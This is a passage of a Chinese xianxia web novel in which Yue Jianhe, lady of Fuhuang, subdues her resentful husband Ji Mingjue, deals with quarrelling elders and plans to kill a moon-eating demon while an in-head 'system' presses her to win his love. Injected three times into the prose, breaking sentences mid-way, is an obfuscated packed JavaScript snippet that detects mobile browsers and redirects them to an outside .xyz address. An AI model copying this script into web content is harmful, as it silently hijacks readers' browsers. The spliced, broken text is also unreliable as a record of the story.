不过既然霁明珏想玩,她今日也乐意给他一个教训。 月见荷灵力微动,手腕上的剑镯化为一柄流光环绕的透明长剑。 剑名碎月,可斩岁月。 她提剑直指霁明珏喉间,挽起的剑花如出匣的月光,带着泠冽的寒意,仿佛要将这方寸天地冻结。 霁明珏急忙提剑格挡,却被她的剑气震退数步。 他没有想到月见荷的剑意竟然如此强悍,一时失察,道剑险些脱手而出。 收敛心神后再次旋剑,挽出数道剑气,冲向月见荷。 长剑嗡鸣,碰撞间爆发出如流光般的火焰。 道剑与碎月剑在荷苑中发出猛烈的碰撞,二人一路从荷苑的房间内打到荷花池上。 一青一白的身影在空中飞扬,散落的剑气击起池中阵阵水花溅在荷叶上,打得荷叶左摇右晃。 昭岁在不远处目不转睛地盯着这二人,见月见荷灵力运转如常后,她略微放下心来,只觉得这位霁道君,看起来要倒大霉了。 二人在空中过了数招,终于在最后一滴水珠从荷叶上滑落之时,月见荷的剑尖抵在了霁明珏喉间。 她毫不客气地扔出缚灵锁,直接锁住了他的灵力。 “昭岁,把他关起来。”月见荷冷漠地吩咐道。 霁明珏从未受过如此羞辱,双眼通红,怒声道:“月见荷,我可是与你结过契的夫君!” 他来青霜台是为联姻,不是为了成为月见荷愚弄的玩物。 好!很好! 真是好极了呢。 杀意再起,月见荷的心口突然传来一阵剧痛,碎月剑脱手坠地,重新化为一道流光缠绕在她腕间。 她右手按着心口缓缓坐下,心道早晚有一天,她要将这个该死的‘系统’炼成花肥去蕴养她的荷花。 见月见荷面色惨白,昭岁也顾不得霁明珏了,急忙上前扶起月见荷,抬眼怒视着霁明珏,气急道:“霁道君,青霜台可曾有对不住你之处?” 霁明珏回想起昨夜月见荷对他的一番羞辱,脊背忍不住发起一阵轻颤,但他又无法对昭岁说明,只得生硬道:“没有。” 得到回答后,昭岁便厉声质问:“既然没有,那霁道君何故对我家小姐出手?” 霁明珏垂眸不语,他的余光中只见月见荷手捂着心口,面色惨白的坐在地上。 “抱歉,我实在不知大小姐有病。” 罢了,他就不应该跟一个有病的人计较。 听完霁明珏的道歉后,月见荷摆摆手示意他可以滚蛋了。 就在他转身的那一瞬间,她眼中只剩一片冷意。 有病的人? 他在骂谁呢! 不过令她想不到的是,昨夜对霁明珏那般羞辱,他竟然这都能忍下,云涯少峰主的气量果真是不同旁人。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金羽仙鹤带着他来到荷花池边,他向醉心亭中望去,月见荷已经不在此处了。 虽然知道金羽仙鹤不会开口说话,他还是问出了心中困惑:“你带我来这里做什么?” 金羽仙鹤伸长脖颈,叼起霁明珏手中的荷花放入水中,试图让荷花与根茎的断口处重新连结。 但荷花却无力的滑落水中,本就枯败的花瓣被流水冲散的所剩无几。 见荷花被水冲得七零八落,金羽仙鹤急得团团转,它咬住霁明珏的衣袖试图将他拉去水中。 霁明珏不动声色地从它嘴中抽出衣袖,奇怪地看着这一切,试探着问道:“你是想让我将荷花恢复如初?” 金羽仙鹤点了点头,似乎是能听懂人言一般。 霁明珏:“……”算了。 他捡起水中荷花,正准备渡入灵力时,却想起月见荷已经将他灵力锁住,只能对着它无奈道:“我的灵力被锁住了,帮不到你。” 金羽仙鹤看起来更着急了,它绕着霁明珏边转边跺脚。 ‘这可怎么办,小荷平日里最爱这些荷花,要是让她发现掉了一朵估计肯定会生气的。’ 只可惜霁明珏听不见仙鹤的心声,不然他一定会惊讶得说不出话,这只金羽仙鹤,竟然能直呼月见荷小名。 金羽仙鹤眼珠滴溜溜地转了几圈,忽然想到了一个好主意,它叼起荷花,试图将荷花藏入霁明珏袖中。 ‘只要藏起荷花,小荷便不会发现荷花掉了一朵,小荷不发现的话,就不会生气了。小荷生气起来可是很可怕得很。’ 金羽仙鹤美滋滋地在心中想道,它真是一只聪明的仙鹤,比其他十二只仙鹤都要聪明。 霁明珏无奈,好在储物袋的打开并不需要灵力,他便将荷花收入其中。 罢了,等灵力恢复后再帮它种上吧。 “你知道月见荷在哪里吗?”它问向金羽仙鹤。 金羽仙鹤歪了歪脖子,似乎在表示不解,‘他找小荷做什么?小荷正在霜余殿中与六部议事,不让外人打扰。但他先前方从荷苑中出来,小荷从来不让外人进入荷苑,所以他应该也不算外人吧。’ 仙鹤小小的脑仁显然想不明白这二人错综复杂的关系,它晃了晃脑袋,叼起霁明珏的衣袖,示意他跟住它的步伐,一起去找月见荷。 霁明珏亦步亦趋地跟在仙鹤后面,盘算着一会该如何跟她好好谈一下。 他是真的就不爱她。 这场荒唐的婚事持续下去是没有好结果的。 4. 争吵 霜余殿中,因灵矿一事,六部长老争论不休。 昨夜没怎么睡好,早上又与霁明珏打了一架,月见荷此刻又累又困,懒洋洋地瘫在扶椅上,上下眼皮耷拉着打架,一个哈欠接着一个哈欠。 褚部长老有些看不惯她这懒散的模样,忍无可忍地拍着桌子怒声道:“霜主,一条灵矿换云涯仙门一个区区九境修士,未免有些太过浪费了吧?浮荒再家大业大也不至于如此挥霍吧?” 月见荷眼也不抬,轻飘飘地回答道:“我乐意。” 看见他气得发红的脖子,又道:“嘘。小点声,你吵到我耳朵了。” 褚絮气得面部扭曲,但又忌惮她的修为,只能阴阳怪气道:“霜主可知一条灵矿何等重要?我竟不知霜主何时竟对那仙门道君如此情根深种。” 月见荷又打了一个哈欠,向褚絮投入警告一瞥,漫不经心回道:“是啊,就是情根深种。” 真是吵死了。 叽叽喳喳的,就这么点小事有什么好争论的! 唉,六部议事一年一次还是太频繁了,就应该推迟到十年一次—— 不,百年一次才好。 褚絮气得发抖,指着月见荷你了半天也没你出个所以为然来。 一旁的明部长老悄悄拉了下褚絮的袖子,示意他放下手,以免引得月见荷不快。 毕竟这位大小姐发作起来,可是能将整个浮荒掀个底掉的人物。 反正六部议事一年也就一次,忍一忍也无妨。 明轻雪替褚絮解围道:“我相信霜主自有考量,只是我等愚昧,还请霜主解惑。” 站在月见荷身旁得昭岁伸手戳了戳她的肩膀,提醒她回答下明轻雪的提问。 真是一群白痴,她在心中骂道。 懒懒起身,胳膊支在长桌上,手指着褚絮一字一句地耐心解释道:“我只说给他们一条灵矿,可没同意他们进入浮荒亲自开采。” 褚絮眼珠一转,忽然明白了什么:“霜主的意思是?” 月见荷耸了耸肩:“灵矿能产出多少灵石,还不是由浮荒说了算?” 褚絮立刻换上一副恭敬的嘴脸:“我明白了,还是霜主深谋远虑,如此一来,便可通过云涯对灵石的需求来判断仙门如今实力如何。” 嗯。还算孺子可教。 明轻雪又问道:“但我还有一事不解,就算要窥探云涯实力,一条灵矿换一个九境修士是否有些……” “有些太过暴殄天物,对吗?”月见荷补充道。 明轻雪犹豫道:“是……” 月见荷手指放在唇间,示意明轻雪闭嘴,道:“这个人我自有用处,你们无需多问。” 见她语气不容置喙,六部长老也不敢多言,气氛一时陷入了寂静。 “对了,之前云涯与苦厄地扔过来的食月妖关在何处?”月见荷突然一问打破了霜余殿中沉默的氛围。 “关在六厄山脉的黑暗牢笼中。”阴长老回答道。 月见荷蹙眉道:“为何还关着?你是废物吗?这么些日子了,都没能找到杀死它的方法?” 突然挨骂的阴墨雨无力地解释道:“食月妖可吞食月光复生,我部折损不少修士也只是将它困住,且黑暗牢笼为无光之地,即便是修士进去也无法视物,而食月妖却能在黑暗中穿梭自如,且一旦在其中燃灯照明便会被食月妖吞噬光源,实无办法,只能将它关在黑暗牢笼中等待它生命慢慢耗尽。” “这样啊,你把六厄山脉的布防图拿给我。”月见荷的指尖有一搭没一搭的叩在桌面上,发出不规则的嗒嗒声,想了想后吩咐道,“三日内将看守人员全部撤出六厄山脉,食月妖我亲自去杀。” “这……”阴墨雨面露羞愤,尬笑道:“怎好劳烦霜主您亲自出手。” “不劳烦我,你那食月妖得等到猴年马月才能饿死?”月见荷毫不客气地翻了个白眼。 “是,是。多谢霜主出手。”阴墨雨忙不迭道谢,似乎是在怕她反悔,毕竟光是捉住这食月妖,他名下的修士已经折损了不少进去,若能将这麻烦甩出去,那再好不过了。 月见荷又打了个哈欠:“还有其他事吗?” 六部长老均是连忙摇头,恨不得立马离开青霜台。 “那便退下吧。”她摆了摆手,示意众人可以离开了。 六部长老离开后,霜余殿中重新恢复了安静,昭岁替月见荷扶正歪斜的发冠,轻声问道:“大小姐,你当真要亲自去杀那食月妖吗?” 困意上头,她瞪着迷蒙的双眼含糊不清的回答道:“是啊。” “可是大小姐你的魄冠恐怕无法撑到……”昭岁欲言又止。 月见荷轻笑一声:“你不用担心,我最近不是新娶了一位夫君吗?刚好看看他实力如何。” 实力太差的人,是没资格做她的对手的。 昭岁还是有些忧心:“但我看霁道君未必会帮助浮荒杀食月妖。” “他不愿意也得给我愿意!” 既然踏进了青霜台,那么他最好能做她忠诚的狗,如果不能的话,她只能考虑一下违背系统的要求杀掉他了。 · 霁明珏跟随着金羽仙鹤的脚步走在青霜台中。 昨日来时也不过匆匆一瞥,今日他才得闲将青霜台中光景细细打量。 人间四景,风霜雨雪,青霜台所占的便是“霜”。 即便已是午时,霜雾也未曾散去,他穿过浓郁的霜雾来到青霜台边缘,垂眼俯瞰万丈青空。 青霜台,原来是一座浮空之城。 一根形似双手的立柱托举着整个青霜台,数以万计的灵石投入到立柱中以维系着青霜台的浮空。 他刚想踏出青霜台的边缘,突感脚边传来一股拉力,低头一看,原来是金羽仙鹤叼住了他的衣摆。 微微用力,试图将衣摆抽回,却没抽动,只得投去疑惑一瞥,这只金羽仙鹤为什么不让他靠近青霜台外围。 难道是怕他逃走吗? ‘不可以的,没有天梯接引,是无法离开青霜台的,你这样踏出去会直接摔死的。’金羽仙鹤用力地将他往回拉。 霁明珏虽然听不懂金羽仙鹤的话,但他觉得这只有灵智的仙鹤应当不会无缘无故做出这种举动。 他弯腰捡起地上一块落叶试探着向青霜台外围抛去,只见落叶在飘出青霜台的一瞬间,虚空中顿时迸发出无数丝线,将落叶绞杀成粉末。 青霜台中的霜雾更浓了。 见到此种凶险景象,他心中一惊,急忙收回将要踏出青霜台的步伐,眼中神色警惕。 看样子,要离开青霜台更是难上加难了。 见他不再试图踏出青霜台边缘,金羽仙鹤也放下心了,它松开霁明珏的衣摆,啄了啄他的手腕,带着他在霜雾中穿过青翠茂密的松叶林,踩着布满青苔的石阶来到崖顶的霜余殿门前。 霜余殿是一座建在山巅的宫殿,虽然挂着宫殿的牌子,但实际上也不过两三间院子的大小,殿门前悬挂着数盏青铜古灯,灯中散发出的幽光缓缓驱散殿前的霜雾。 他低头问向带他来此的金羽仙鹤:“月见荷便在这里?” 金羽仙鹤点点头,示意他上前打开殿门,它的小身板可推不开这扇沉重的木门。 他正欲推门而进,却被一名身着玄甲的侍卫拦住了。 “你是何人?”玄甲侍卫锐利的双眼紧盯着霁明珏,由上到下地将他打量了好几遍,让他感到好一阵不适。 他不想回答侍卫的问题,只说道:“我来找月见荷。” “大小姐正在霜余殿中休息,今日不见客。”侍卫又警告道:“青霜台中不可直呼大小姐名讳,念你是新人,此次我就不罚你了。” “新人?罚我?”霁明珏的眼神变得幽暗,微微挑眉:“你可知我是谁?” “我不需要知道你是谁,我只知道今日大小姐说了不见客,那便是一只苍蝇我都不会放进去。”侍卫挡在霁明珏身前,斜睨了他一眼,见他身上并无灵力波动,便讥笑道:“你一个没有灵力的凡人,光靠这张脸就想博得大小姐青睐,我劝你还是死了这条心吧。” 霁明珏垂眼盯着挡住他步伐的侍卫,发出一声嗤笑,轻蔑道:“那真不幸运,我恰好是你口中那位大小姐的夫君。” 侍卫恼怒道:“你在胡言乱语什么,与大小姐成婚的是云涯道君,怎会是你这种毫无灵力的废人?” “让开!我就是云涯道君。”他不再与守卫多言,越过守卫便欲推开霜余殿的大门。 但下一秒,守卫便抽刀横在他颈前,“我不管你说的是真是假,但大小姐说了今日不见客,那就是不见客,谁来了都不见。” 霁明珏眸色微怒,如果不是月见荷用缚灵锁锁住了他的灵力,他早就破开了霜余殿的大门,更不至于被区区一名侍卫提刀威胁。 “让开。”他眼中的冷意更深了,抬手拍开横在颈前的刀,趁着侍卫发愣的空隙,直接一脚用力踹向霜余殿的大门。 也许是月见荷过于信任这名侍卫,又或许是月见荷过于自信,总之这道门上未有任何灵力加固,就那样被他一脚踹开了。 突如其来的声响,将月见荷从睡梦中惊醒。 她睁开睡意朦胧的双眼,便见怒目而视的霁明珏,身后还跟着惊慌失措的侍卫。 “抱歉,是我看守不力,惊扰大小姐了。”侍卫连忙跪下请罪,“我这便将人带走。” “不必了,你退下吧。”月见荷挥挥手,示意侍卫赶紧滚蛋,“看守不力,自行去寒崖领罚吧。” “是。多谢大小姐宽恕。”侍卫临走前狠狠地瞪了霁明珏一眼。 霁明珏对守卫的恨意视若无睹,他站在霜余殿的阴影中,冷声道:“解开我的灵力。” “不。”月见荷毫不客气地拒绝了,随后将长袖盖在脸上,准备再次进入梦乡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644528|172746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但霁明珏并没有让她如愿。 见月见荷不搭理他,他冷笑着扯了扯嘴角,报复般打开霜余殿中所有紧闭的窗户。 山崖间的冷风穿透窗户吹进室内,带起月见荷衣袖一阵飘荡。 月见荷不为所动,用另一只手压住飘荡的衣袖,翻身背对着他,将冷风和日光都隔绝在外。 霁明珏负手而立,站在寂静的殿内一动不动,他倒要看看月见荷能赖到何时。 又一阵冷风吹过,她忍不住一阵瑟缩,闭着眼摸索着准备拿起放在一旁的大氅盖在身上,却摸了个空。 谁把她的大氅拿走了? 摸了半天没摸到,冷风又吹得她睡意全消,索性爬起身。 只是一睁眼,便见到霁明珏抱着她的大氅,似笑非笑地盯着她。 “还给我。” “可以,但把我的灵力解开。” “那我不要了。” 月见荷继续躺回扶椅之上,闭眼不再理会他。 霁明珏:“……” 他欺身上前,一把将月见荷从扶椅上拽起。 她的手腕纤细又冰凉,如同寒冬的冰雪。 冷得他不禁皱眉,修道之人入道之后,便可通过控制灵力来维持身体温暖,但为何她在这方面却如同凡人一般。 不待他思索出个所以为然,月见荷便一把甩开他的手,却未料到用力过猛,一不小心砸在了桌角上,痛得她倒抽一口凉气。 见她如此,霁明珏没忍住发出一声轻轻的嘲笑。 月见荷冷冷斜视了他一眼,指着门外冷声道:“滚出去!” 霁明珏一动不动:“解开我的灵力。” “好啊。”月见荷仰起头来,微微挑眉,指着他的膝盖,笑道:“你跪下来求我,我就解开。” 霁明珏恼怒至极,衣袖中双拳紧握,发白的指甲嵌入掌中,他压下扼向月见荷喉间的冲动,冷静问道:“你与我成婚,到底是为了什么?” 月见荷不耐烦道:“昨夜我便已经说过,折磨你,羞辱你啊。” 一提起昨夜,他的脊背处便忍不住发颤,险些站立不住,人生二百多年来,他从未受过如此屈辱。 他凤眸含恨,盯着月见荷,一字一句道:“敢问我何时得罪过你?” 月见荷懒得看他,漫不经心道:“你没有得罪过我,你只是比较倒霉。” 没办法,谁让那个叫系统的东西非要让她攻略他呢。 见二人间的气氛变得剑拔弩张,金羽仙鹤急忙从霁明珏身后窜出,扑倒进见荷怀中试图转移走她的注意力。 “你怎么在这里?”她亲呢地拍了拍金羽仙鹤的脑袋,眯眼问道:“是你带他来的?” 金羽仙鹤点了点头,脑袋又对着她好一通蹭,好似在说些什么。 “你要我替他解开灵力?”月见荷不解地问向金羽仙鹤,“为什么呢?” 金羽仙鹤支支吾吾,它不敢说出是为了让霁明珏替它修补荷花,只能不停地用脑袋蹭着她的掌心,大有一副她不给他解开灵力,它就赖着不走的模样。 “一成。”她冷脸看向霁明珏。 霁明珏咬牙道:“可以。” 一成便一成,只要有了灵力,挣开缚灵锁不过是时间的问题。 得到他的回答后,月见荷向缚灵锁中挥出一股灵力,片刻后,霁明珏终于感到灵脉内开始有微弱的灵力流转。 见灵力恢复些许后,他转身便走,一刻也不愿意多留。 “还给我。” 霁明珏刚要踏出殿门前,却又被叫住了脚步。 “什么还给你?” 月见荷指了指他怀中大氅。 霁明珏嘴角扯出一抹冷笑,直接将大氅扔在月见荷身上,将她盖的严严实实。 月见荷从大氅中探出头来,又对他吩咐道:“把窗户也给我关上。” “什么?” 霁明珏眼含恼怒,这是把他当仆人了? “快点,冷死了。”月见荷将大氅盖在身上,躺回扶椅中,不耐烦地催促道。 霁明珏并没有动,而是问道:“昭岁呢?她不是平时随侍你左右的吗?” “杀妖去了,赶紧给我把窗户关上。”月见荷再次发出催促。 “你不能用灵力自己关吗?” 修道之人,关个窗户只不过灵力微动间的事情,他从未见过如月见荷这般懒散的人。 而且指挥起人来竟是一点也不客气。 但尽管心中腹诽,霁明珏还是不情不愿地替她关上了窗户,这位大小姐性情喜怒无定的,若是不替她关上窗户,保不齐一会又想出什么新的折腾人的事来。 窗户关上后,冷风不再窜进来,月见荷惬意地躺回扶椅上,继续对着霁明珏颐指气使:“我渴了,再给我倒杯茶来,要热的。” “有病。” 霁明珏甩袖离去,将月见荷的要求抛之身后。 5. 谋划 霁明珏走后,月见荷又陷入昏昏沉沉中,晨时与六部议事已经消耗了她大半精力,霁明珏来此一闹又消耗了她不少精力。 但她尚未睡着,便被脑海中系统的声音吵醒。 系统:“你考虑好我的提议了吗?” 快睡着时被吵醒,月见荷很是烦躁,语气恹恹道:“我这不是在按你的要求做着吗?” 系统:“我让你攻略霁明珏,是为了让他爱上你,不是恨上你。” 月见荷拢了拢衣服,漫不经心的语气中有一种天真的残忍:“常言道,由爱故生恨,所以我认为,恨也是爱的一种,这两种情感本质上并无区别。” 系统:“……”这简直歪理。 它又劝道:“大小姐您就不考虑对他好点吗?” 她皱着眉认真道:“我对他还不够好吗?换做平常人我早就杀死他了,为了让他平安到达浮荒,我可是派出了十三只金羽仙鹤去保护他。” 系统:“……”究竟是保护他还是为了不让他半路逃走您心中还不清楚吗? 她再次开口,有些兴奋道:“你觉得,只有一成灵力的他,可以杀死相当于七境修为的食月妖吗?” 系统震惊:“你疯了?他死你也会死的!” 她更兴奋了:“真的吗?我倒挺想试试的。” 说完,便不再理会系统的愤怒,闭眼进入睡梦之中。 · 月见荷这一觉一直睡到了入夜时分,一睁眼,昭岁便已出现在她面前了。 她问道:“食月妖查得如何了?” 昭岁:“的确如阴墨雨所言,遇月光即复生,我暂时让人全部撤出六厄山脉了。”。 遇到月光即复生啊,这确实有些不好杀,毕竟黑暗牢笼中只有黑夜,没有白昼。 月见荷垂眸思索,指尖轻叩在桌上发出嗒嗒的响声,在寂静的室内回荡。 “苦厄地那边最近有什么动静吗?” 昭岁道:“妖主闭关,但我觉得不止是为了逃避食月妖出逃一事。” 月见荷眼中闪过一丝冷意,七境修为的妖物出逃,苦厄地竟然坐视不管。 如果不是为了食月妖的妖丹,她真想拎起食月妖砸进瞳怜闭关的幻月湖。 归墟界三大势力:云涯、浮荒、苦厄地,经过近千年的斗争终于达成了一个微妙的平衡局面。 云涯统领仙门事务,苦厄地妖主掌管妖鬼的生死,而浮荒则负责处理云涯与苦厄地都管不到的事情。 就比如此次出逃的食月妖。 云涯与苦厄地,一个说妖族之事当由妖主决断,另一个则说妖主闭关无暇顾及,推来推去这事便落到了浮荒身上。 阴墨雨并非是个无能的,区区七境修为的食月妖他不会杀不死,只不过是存了试探她实力的想法。 月见荷在心中冷笑,看起来,当年的青霜台政变一事,还没能让他们长些教训。 她接过昭岁手中关于食月妖的情报,懒懒起身,披起大氅走向醉心亭中。 四月的夜晚还是有些寒冷,昭岁在醉心亭中布下暖阵,将数颗灵石投入阵中,问道:“大小姐今晚不同霁道君一起——” 月见荷冷冷打断她的话:“我现在没兴趣见他。” 食月妖一事关系到魄冠,她才没空关心霁明珏的心情如何。 最好今夜就能因不堪受辱,拔剑自刎在荷苑内,看在他自决的份上,她会愿意做个好人将他的尸首全须全尾的送回云涯,并替他风光大葬一场。 都说升官发财死夫君,官呢她已经是浮荒之主了,财呢,每月进入青霜台中的灵石把云涯买下来都够了。 若是再死个夫君,这简直是一桩美谈啊。 月见荷摊开手札,细细阅读关于食月妖的情报: “食月妖,以月光为食,可吸收月华之精来增强其自身力量,月圆之夜是其力量巅峰。在黑暗之中视线不受影响,可穿梭自如。惧日光。” 在见到最后一行字时,她忍不住笑出声来,这黑暗牢笼恐怕不是为了困住食月妖,而是专门给月妖休养生息的吧。 “□□最近有什么动态吗?” 昭岁想了想答道:“人员变化并无异常,只不过本月灵石的用量较上月多出两倍。至于用途,尚未查到。” 月见荷不禁冷笑,阴墨雨真是存了好心思,怪不得那么积极地揽下诛杀食月妖一事,估计等她去杀食月妖的时候,七境修为就要变成八境了。 她手中燃起道火,将手札化为灰烬,漫不经心道:“我听说,阴墨雨有个素来与他不合的侄子,不到百岁便已经是八境巅峰,你传信一封告诉他,就说青霜台很欣赏他,希望下次六部议事的时候能看到他。” 昭岁不解道:“青霜台要插手六部继任人选吗?” “不。”月见荷摇摇头,慢条斯理地端起桌上一杯热茶,放在唇边轻抿了一口,“我不过是给他创造了一个往上爬的机会,至于愿不愿意抓住这个机会,选择权可全在他自己手里。” · 月明星稀,冷冷的月光洒落在青霜台中。 青霜台就像它的名字一样,冷寂的让人心中发寒。 霁明珏调动为数不多的灵力,以抵御春夜的寒冷。 他远远地立于荷花池边的水榭中,盯着醉心亭中一抹昏暗微光,眸色渐渐晦暗。 能凭一己之力压下浮荒六部蠢蠢欲动的反抗之心,月见荷绝非等闲之辈。 晨间短暂交手,他已察觉到她的修为绝不在他之下,但他又想不明白,为何这人甚至连御寒的术法都不愿意使,反而会像个凡人一样,披着大氅来抵御春夜寒风。 并且,甚至比凡人要更畏寒冷。 也不知道这缚灵锁中究竟施加了什么独门秘法,他研究了一下午都没能挣脱分毫。 脚边的金羽仙鹤也陪了他一下午,许是有些困了,脑袋缩进翅膀下,静静地趴在他脚边。 他弯腰正欲抱起金羽仙鹤,脚边蓦然出现一道阴影。 “夜深了,霁道君为何不回房休息?” 昭岁隔着老远便察觉到霁明珏的视线,但月见荷此时已在醉心亭中睡下,她不敢贸然叫醒,便亲身前来问话。 霁明珏随口敷衍道:“睡不着,随便走走。” 昭岁知道霁明珏这是在敷衍他,但她只是大小姐身边的侍官,无权过问大小姐与他之间的事情,只说道:“青霜台近日事务繁忙,若有怠慢之处,还请霁道君见谅。” 霁明珏想起先前月见荷说杀妖一事,又联想到前些日子苦厄地食月妖出逃,佯装随口一问:“可是因食月妖一事?” 昭岁微愣一瞬,大小姐竟已经将此事告诉他了? 她缓声道:“是。不过此事应当不劳烦霁道君费心。” 霁明珏的眼神暗了暗,食月妖出逃一事他略有耳闻,只不过这件事本应由苦厄地妖主出手处理,为何会落到了浮荒头上。 但不管如何,对于他而言,这也许是个解开灵力的机会。 “浮荒打算如何诛杀食月妖?”霁明珏抱起金羽仙鹤,又是装作好奇一问。 昭岁神色变了几瞬后,最终换回了一副疏离的模样:“浮荒的事务,自由青霜台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644529|172746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理。” 霁明珏吃了个闭门羹却也不恼,他轻抚怀中金羽仙鹤问道:“不知可否劳烦昭岁侍官替我在我荷苑中重新收拾出一间房来?” 他可一点也不想和月见荷同宿同寝。 昭岁先是有些讶然,随后又仿佛明白了什么,解释道:“荷苑里那间房本就是为霁道君准备的,大小姐平日并不睡在荷苑中。” “那她睡在哪里?” 昭岁指了指荷花池中的醉心亭:“大小姐平日呆在醉心亭中,若霁道君有事可往荷花池中寻她。” 听闻昭岁此言,霁明珏心中不知为何松了口气,但他还是问道:“荷苑之中没有其他房间了吗?” 他并不想回到昨夜那个让他遭受屈辱的房间中。 昭岁轻轻无奈的摇了摇头,大小姐指令只给霁明珏一间房间,她也不敢擅自替大小姐做主。 算了。 霁明珏抱起金羽仙鹤转身就走。 昭岁瞥见霁明珏怀中金羽仙鹤,轻声开口道:“灵官大人看起来很喜欢霁道君呢。” “灵官?”霁明珏的神色中有些许困惑,“你为何叫它灵官大人?” “霁道君日后便会明白。” 察觉到亭中暖阵的灵石快要消耗殆尽,昭岁匆匆丢下一句话后便往醉心亭中走去。 霁明珏看着怀中仙鹤,喃喃摇头。 真是奇怪。 青霜台中的人和物,都很奇怪。 · 荷苑内,霁明珏用术法修补好晨间因打斗而破损的木门,环视着房内陈设,总觉得空气中还弥漫着昨夜的潮湿气息。 他将金羽仙鹤轻轻放在地上,随后施展除尘术将房内设施彻彻底底清扫了一遍。 但还不够,他目光落在房中的铜镜之中,此刻铜镜中的他衣冠整洁,出尘不染,但昨夜…… 昨夜却是…… 霁明珏闭眼,将铜镜翻转,往脑中丢进一个忘忧咒试图忘记昨夜的遭受的一切。 随后又对门窗进行了加固,还顺手在房间内部布下了数个禁制,就算不能阻止月见荷踏入这房间,禁制被触动后也能瞬间将他叫醒。 做完这一切后,他才躺到床塌上,准备和衣而睡。 只是闭眼半宿仍没有丝毫睡意,索性爬起身来,准备引天地灵气入体修行片刻。 但他引气半天,却没有丝毫灵力入体。 霁明珏蓦地睁开双眼,心中警觉,一丝异样感从他的脊背处缓缓爬升到心口处。 这个房间内,被人设下了隔绝灵力的阵法。 · 醉心亭中,月见荷并没有睡着,她睁着双眼,冷冰冰的盯着池中荷花。 “昭岁,荷花少了一朵。” 昭岁捧着茶杯的手一抖,忙道:“大小姐,可要我再去人间寻佛子一趟?” 月见荷摆摆手,神色变得厌倦:“不必了。” 昭岁有些担忧:“但此阵关乎……” “命数如此,再寻佛子也是无用。” 话虽如此,她的眼中却并没有惋惜,只有无尽的冷漠。 百年前,青霜台政变,六厄山脉中关押的妖鬼一夜暴乱,不知这事为何牵扯到了人间佛子。 那名慈眉善目的白衣佛子来到青霜台,在青霜台中种满荷花以交换照世明灯回归禅院。 临行前,这名普渡众生无数的佛子却丢下一言: “荷花凋尽,命数终了。” 但她并不在意,这世上能够杀死她的人,恐怕还没有出生呢。 再说了,秃驴的话从来都信不得。 6. 入水 霁明珏在房内坐了许久,终是抵不过困意睡着了。 但这一觉,他睡的却并不安稳。 也许是这两日神经太过紧绷,他很罕见地做了一次梦。 梦中,他回到了人间朝歌城,见到了仙逝已久的父亲与母亲。 父亲与母亲拉着他的手,漫步在朝歌皇宫中。 还有一个名叫小荷的小女孩。 小女孩有一双很亮很亮的桃花眼,在一片雾蒙蒙中显得格外真实。 他看不清小女孩的脸,只听见薄雾中脆生生的声音:“小玉,今天天气真好,我们可以出宫玩吗?” 幼年霁明珏柔声拒绝道:“小荷,不可以的,魇魔从归墟跑了出来,外面现在很危险。” “那好吧。”小女孩的声音充满了委屈。 见她泪眼汪汪,他便从袖中掏出一个拨浪鼓,轻轻地在小荷眼前晃动,他安慰道:“你不要不开心啦,等到归墟派来的仙人除掉魇,我就带你出城玩。” 闻言,小女孩收起哭腔,接过他手中的拨浪鼓,摇晃不休,声音也重新变得清脆:“我就知道小玉你对我最好了!” 二人手拉着手,两小无猜般自由奔跑在朝歌皇宫中。 小荷是谁? 霁明珏感到茫然,他从未听说过朝歌皇宫中有这号人物,他的记忆里也从来没有过一个叫‘小荷’的人。 他挥袖试图驱散眼前迷雾,却又坠入更深的迷雾中。 迷雾中,还是那个声音,但却不再脆生生,而是变得哀怨:“小玉,你说好要来找我的,可是我等了你许多许多年,等到朝歌城中的荷花都谢了,你为什么还是没有来找我?你是不是已经忘记我了!” 哀怨的声音犹如尖刺般,刺的霁明珏灵魂发颤,他迫不及待的想要挣脱出这场荒诞梦境。 房内仙鹤引吭啼鸣,他一瞬间从梦中惊醒。 他捂着胸口,缓了好久才平静下来。 自入道以来,他已经近百年没有做过梦了。 这个梦真是奇怪。 等他压下心中惊悸,试图回想起梦中一切时,却再也想不起来了,就仿佛昨夜他从未做过梦一般。 罢了,不过一场幻梦。 霁明珏摇摇头,想不起来便不想了。 · 金羽仙鹤的啼鸣不仅将霁明珏从梦中惊醒,也吵醒了睡在醉心亭中的月见荷。 她被吵得烦了,挥出一道灵力在醉心亭中布下隔音屏障,将恼人的喧嚣隔绝在外。 重新躺回矮塌上,却再也睡不着了。 昭岁带着一封自苦厄地传来的回信,穿过霜雾来到醉心亭中。 “大小姐,苦厄地回信了。” 月见荷展开苦厄地的信件,眉头更是深锁了。 苦厄地还是那句话,妖主闭关,管不了。 除此之外,还颇为好心地告知了一事:食月妖偷走了月族圣女的碧华月凝珠,如果霜主能够杀死食月妖,还希望能将碧华月凝珠归还。 真是做梦! 不动手却试图坐享其成。 